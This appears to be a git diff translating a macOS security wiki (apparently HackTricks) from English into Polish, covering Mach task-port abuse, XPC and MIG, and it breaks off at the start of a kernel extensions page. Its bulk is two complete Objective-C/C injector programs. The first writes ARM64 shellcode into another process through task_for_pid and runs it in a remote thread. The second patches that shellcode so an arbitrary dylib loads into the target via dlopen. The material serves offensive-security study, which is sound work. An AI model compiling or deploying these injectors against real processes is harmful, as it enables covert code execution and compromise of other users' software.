sc_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector @@ -323,18 +310,18 @@ processIdentifier]); kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -352,177 +339,174 @@ char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\ int inject(pid_t pid){ - task_t remoteTask; +task_t remoteTask; - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } pid_t pidForProcessName(NSString *processName) { - NSArray *arguments = @[@"pgrep", processName]; - NSTask *task = [[NSTask alloc] init]; - [task setLaunchPath:@"/usr/bin/env"]; - [task setArguments:arguments]; +NSArray *arguments = @[@"pgrep", processName]; +NSTask *task = [[NSTask alloc] init]; +[task setLaunchPath:@"/usr/bin/env"]; +[task setArguments:arguments]; - NSPipe *pipe = [NSPipe pipe]; - [task setStandardOutput:pipe]; +NSPipe *pipe = [NSPipe pipe]; +[task setStandardOutput:pipe]; - NSFileHandle *file = [pipe fileHandleForReading]; +NSFileHandle *file = [pipe fileHandleForReading]; - [task launch]; +[task launch]; - NSData *data = [file readDataToEndOfFile]; - NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; +NSData *data = [file readDataToEndOfFile]; +NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding]; - return (pid_t)[string integerValue]; +return (pid_t)[string integerValue]; } BOOL isStringNumeric(NSString *str) { - NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; - NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; - return r.location == NSNotFound; +NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; +NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; +return r.location == NSNotFound; } int main(int argc, const char * argv[]) { - @autoreleasepool { - if (argc < 2) { - NSLog(@"Usage: %s ", argv[0]); - return 1; - } +@autoreleasepool { +if (argc < 2) { +NSLog(@"Usage: %s ", argv[0]); +return 1; +} - NSString *arg = [NSString stringWithUTF8String:argv[1]]; - pid_t pid; +NSString *arg = [NSString stringWithUTF8String:argv[1]]; +pid_t pid; - if (isStringNumeric(arg)) { - pid = [arg intValue]; - } else { - pid = pidForProcessName(arg); - if (pid == 0) { - NSLog(@"Error: Process named '%@' not found.", arg); - return 1; - } - else{ - printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); - } - } +if (isStringNumeric(arg)) { +pid = [arg intValue]; +} else { +pid = pidForProcessName(arg); +if (pid == 0) { +NSLog(@"Error: Process named '%@' not found.", arg); +return 1; +} +else{ +printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); +} +} - inject(pid); - } +inject(pid); +} - return 0; +return 0; } ``` -
- ```bash gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` +### Wstrzykiwanie Dylib w wątku za pomocą portu zadania -### Dylib Injection in thread via Task port +W macOS **wątki** mogą być manipulowane za pomocą **Mach** lub używając **posix `pthread` api**. Wątek, który wygenerowaliśmy w poprzednim wstrzyknięciu, został wygenerowany za pomocą api Mach, więc **nie jest zgodny z posix**. -In macOS **threads** might be manipulated via **Mach** or using **posix `pthread` api**. The thread we generated in the previous injection, was generated using Mach api, so **it's not posix compliant**. +Możliwe było **wstrzyknięcie prostego shellcode** do wykonania polecenia, ponieważ **nie musiał działać z api** zgodnymi z posix, tylko z Mach. **Bardziej złożone wstrzyknięcia** wymagałyby, aby **wątek** był również **zgodny z posix**. -It was possible to **inject a simple shellcode** to execute a command because it **didn't need to work with posix** compliant apis, only with Mach. **More complex injections** would need the **thread** to be also **posix compliant**. +Dlatego, aby **ulepszyć wątek**, powinien on wywołać **`pthread_create_from_mach_thread`**, co **utworzy ważny pthread**. Następnie ten nowy pthread mógłby **wywołać dlopen**, aby **załadować dylib** z systemu, więc zamiast pisać nowy shellcode do wykonywania różnych działań, można załadować niestandardowe biblioteki. -Therefore, to **improve the thread** it should call **`pthread_create_from_mach_thread`** which will **create a valid pthread**. Then, this new pthread could **call dlopen** to **load a dylib** from the system, so instead of writing new shellcode to perform different actions it's possible to load custom libraries. - -You can find **example dylibs** in (for example the one that generates a log and then you can listen to it): +Możesz znaleźć **przykładowe dyliby** w (na przykład ten, który generuje log, a następnie możesz go odsłuchiwać): {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -531,7 +515,6 @@ You can find **example dylibs** in (for example the one that generates a log and
dylib_injector.m - ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c @@ -557,18 +540,18 @@ You can find **example dylibs** in (for example the one that generates a log and // And I say, bullshit. kern_return_t mach_vm_allocate ( - vm_map_t target, - mach_vm_address_t *address, - mach_vm_size_t size, - int flags +vm_map_t target, +mach_vm_address_t *address, +mach_vm_size_t size, +int flags ); kern_return_t mach_vm_write ( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt +vm_map_t target_task, +mach_vm_address_t address, +vm_offset_t data, +mach_msg_type_number_t dataCnt ); @@ -583,236 +566,233 @@ kern_return_t mach_vm_write char injectedCode[] = - // "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) +// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :) - // Call pthread_set_self +// Call pthread_set_self - "\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables - "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack - "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer - "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the - "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; - "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start - "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; - "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) - "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread - "\x00\x00\x00\x14" // loop: b loop ; loop forever +"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables +"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack +"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer +"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the +"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; +"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start +"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; +"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) +"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread +"\x00\x00\x00\x14" // loop: b loop ; loop forever - // Call dlopen with the path to the library - "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; - "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN - "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; - "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop - "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() +// Call dlopen with the path to the library +"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; +"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN +"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; +"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop +"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen() - // Call pthread_exit - "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT - "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; - "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit +// Call pthread_exit +"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT +"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; +"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit - "PTHRDCRT" // <- - "PTHRDEXT" // <- - "DLOPEN__" // <- - "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" - "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; +"PTHRDCRT" // <- +"PTHRDEXT" // <- +"DLOPEN__" // <- +"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" +"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ; int inject(pid_t pid, const char *lib) { - task_t remoteTask; - struct stat buf; +task_t remoteTask; +struct stat buf; - // Check if the library exists - int rc = stat (lib, &buf); +// Check if the library exists +int rc = stat (lib, &buf); - if (rc != 0) - { - fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); - //return (-9); - } +if (rc != 0) +{ +fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); +//return (-9); +} - // Get access to the task port of the process we want to inject into - kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); - if (kr != KERN_SUCCESS) { - fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); - return (-1); - } - else{ - printf("Gathered privileges over the task port of process: %d\n", pid); - } +// Get access to the task port of the process we want to inject into +kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); +if (kr != KERN_SUCCESS) { +fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); +return (-1); +} +else{ +printf("Gathered privileges over the task port of process: %d\n", pid); +} - // Allocate memory for the stack - mach_vm_address_t remoteStack64 = (vm_address_t) NULL; - mach_vm_address_t remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); +// Allocate memory for the stack +mach_vm_address_t remoteStack64 = (vm_address_t) NULL; +mach_vm_address_t remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } - else - { +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} +else +{ - fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); - } +fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); +} - // Allocate memory for the code - remoteCode64 = (vm_address_t) NULL; - kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); +// Allocate memory for the code +remoteCode64 = (vm_address_t) NULL; +kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); - return (-2); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); +return (-2); +} - // Patch shellcode +// Patch shellcode - int i = 0; - char *possiblePatchLocation = (injectedCode ); - for (i = 0 ; i < 0x100; i++) - { +int i = 0; +char *possiblePatchLocation = (injectedCode ); +for (i = 0 ; i < 0x100; i++) +{ - // Patching is crude, but works. - // - extern void *_pthread_set_self; - possiblePatchLocation++; +// Patching is crude, but works. +// +extern void *_pthread_set_self; +possiblePatchLocation++; - uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; - uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; - uint64_t addrOfDlopen = (uint64_t) dlopen; +uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; +uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; +uint64_t addrOfDlopen = (uint64_t) dlopen; - if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadExit,8); - printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); - } +if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadExit,8); +printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); +} - if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) - { - memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); - printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); - } +if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0) +{ +memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); +printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate); +} - if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) - { - printf ("DLOpen @%llx\n", addrOfDlopen); - memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); - } +if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) +{ +printf ("DLOpen @%llx\n", addrOfDlopen); +memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); +} - if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) - { - strcpy(possiblePatchLocation, lib ); - } - } +if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) +{ +strcpy(possiblePatchLocation, lib ); +} +} - // Write the shellcode to the allocated memory - kr = mach_vm_write(remoteTask, // Task port - remoteCode64, // Virtual Address (Destination) - (vm_address_t) injectedCode, // Source - 0xa9); // Length of the source +// Write the shellcode to the allocated memory +kr = mach_vm_write(remoteTask, // Task port +remoteCode64, // Virtual Address (Destination) +(vm_address_t) injectedCode, // Source +0xa9); // Length of the source - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); - return (-3); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); +return (-3); +} - // Set the permissions on the allocated code memory - kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); +// Set the permissions on the allocated code memory +kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Set the permissions on the allocated stack memory - kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); +// Set the permissions on the allocated stack memory +kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); - if (kr != KERN_SUCCESS) - { - fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); - return (-4); - } +if (kr != KERN_SUCCESS) +{ +fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); +return (-4); +} - // Create thread to run shellcode - struct arm_unified_thread_state remoteThreadState64; - thread_act_t remoteThread; +// Create thread to run shellcode +struct arm_unified_thread_state remoteThreadState64; +thread_act_t remoteThread; - memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); +memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); - remoteStack64 += (STACK_SIZE / 2); // this is the real stack - //remoteStack64 -= 8; // need alignment of 16 +remoteStack64 += (STACK_SIZE / 2); // this is the real stack +//remoteStack64 -= 8; // need alignment of 16 - const char* p = (const char*) remoteCode64; +const char* p = (const char*) remoteCode64; - remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; - remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; - remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; - remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; +remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; +remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; +remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; +remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64; - printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); +printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p ); - kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, - (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); +kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, +(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread ); - if (kr != KERN_SUCCESS) { - fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); - return (-3); - } +if (kr != KERN_SUCCESS) { +fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); +return (-3); +} - return (0); +return (0); } int main(int argc, const char * argv[]) { - if (argc < 3) - { - fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); - fprintf (stderr, " _action_: path to a dylib on disk\n"); - exit(0); - } +if (argc < 3) +{ +fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]); +fprintf (stderr, " _action_: path to a dylib on disk\n"); +exit(0); +} - pid_t pid = atoi(argv[1]); - const char *action = argv[2]; - struct stat buf; +pid_t pid = atoi(argv[1]); +const char *action = argv[2]; +struct stat buf; - int rc = stat (action, &buf); - if (rc == 0) inject(pid,action); - else - { - fprintf(stderr,"Dylib not found\n"); - } +int rc = stat (action, &buf); +if (rc == 0) inject(pid,action); +else +{ +fprintf(stderr,"Dylib not found\n"); +} } ``` -
- ```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` +### Przechwytywanie wątku za pomocą portu zadania -### Thread Hijacking via Task port - -In this technique a thread of the process is hijacked: +W tej technice wątek procesu jest przechwytywany: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -820,27 +800,27 @@ In this technique a thread of the process is hijacked: ## XPC -### Basic Information +### Podstawowe informacje -XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process. +XPC, co oznacza XNU (jądro używane przez macOS), to framework do **komunikacji między procesami** na macOS i iOS. XPC zapewnia mechanizm do wykonywania **bezpiecznych, asynchronicznych wywołań metod między różnymi procesami** w systemie. Jest częścią paradygmatu bezpieczeństwa Apple, umożliwiając **tworzenie aplikacji z oddzielonymi uprawnieniami**, gdzie każdy **komponent** działa z **tylko tymi uprawnieniami, których potrzebuje**, aby wykonać swoją pracę, ograniczając w ten sposób potencjalne szkody wynikające z kompromitacji procesu. -For more information about how this **communication work** on how it **could be vulnerable** check: +Aby uzyskać więcej informacji na temat tego, jak ta **komunikacja działa** i jak **może być podatna**, sprawdź: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ {{#endref}} -## MIG - Mach Interface Generator +## MIG - Generator interfejsu Mach -MIG was created to **simplify the process of Mach IPC** code creation. It basically **generates the needed code** for server and client to communicate with a given definition. Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before. +MIG został stworzony, aby **uproszczać proces tworzenia kodu Mach IPC**. W zasadzie **generuje potrzebny kod** dla serwera i klienta do komunikacji z danym zdefiniowaniem. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał go tylko zaimportować, a jego kod będzie znacznie prostszy niż wcześniej. -For more info check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md {{#endref}} -## References +## Odniesienia - [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) - [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 4258ded90..8b5f70d14 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -2,40 +2,39 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system. +Rozszerzenia jądra (Kexts) to **pakiety** z rozszerzeniem **`.kext`**, które są **ładowane bezpośrednio do przestrzeni jądra macOS**, zapewniając dodatkową funkcjonalność głównemu systemowi operacyjnemu. -### Requirements +### Wymagania -Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded: +Oczywiście, jest to 